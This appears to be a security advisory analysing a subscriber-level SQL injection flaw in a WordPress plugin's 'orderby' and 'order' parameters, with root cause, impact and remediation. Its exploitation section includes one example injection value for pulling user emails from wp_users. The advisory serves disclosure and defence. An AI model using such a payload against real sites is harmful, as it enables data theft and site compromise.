Atomic Edge analysis of CVE-2026-8685 (metadata-based): This vulnerability allows authenticated attackers with Subscriber-level access or higher to perform SQL injection via the ‘orderby’ and ‘order’ parameters in the Infility Global WordPress plugin up to version 2.15.16. The flaw exists in the show_control_data::post_list() function, which is accessible as an admin menu page with only the ‘read’ capability. The CVSS score of 6.5 indicates high confidentiality impact but no impact on integrity or availability.
Root Cause: The plugin fails to properly escape the ‘orderby’ and ‘order’ parameters and does not prepare the SQL query before execution. The CWE-89 classification confirms this is a classic SQL injection vulnerability. Atomic Edge research infers that the vulnerable code likely passes these parameters directly into a $wpdb->get_results() or similar query without using $wpdb->prepare() or whitelisting allowed values. The ‘read’ capability requirement means any logged-in user can access this functionality.
Exploitation: An attacker with a Subscriber-level account sends requests to the WordPress admin page that triggers the show_control_data::post_list() function. The vulnerable parameters are ‘orderby’ and ‘order’. The attacker can append SQL injection payloads to the ‘orderby’ parameter. For example, an attacker could use ‘orderby’=email FROM wp_users– to extract user email addresses. The attack vector is the admin area with a capability check that is too permissive, combined with unsanitized SQL statement construction.
Remediation: The developer must implement two changes. First, use prepared statements with $wpdb->prepare() for all dynamic values in SQL queries. Second, whitelist the allowed values for ‘orderby’ and ‘order’ parameters, rejecting any value that does not match an expected column name or sorting direction. If a whitelist is not feasible, the plugin should escape and quote the values properly before interpolation into the query.
Impact: Successful exploitation allows an attacker to extract any data from the WordPress database, including user credentials, session tokens, private posts, and options. This could lead to privilege escalation or complete site compromise depending on the data extracted. The attacker does not need any special privileges beyond a Subscriber account, making this a significant risk for membership sites.
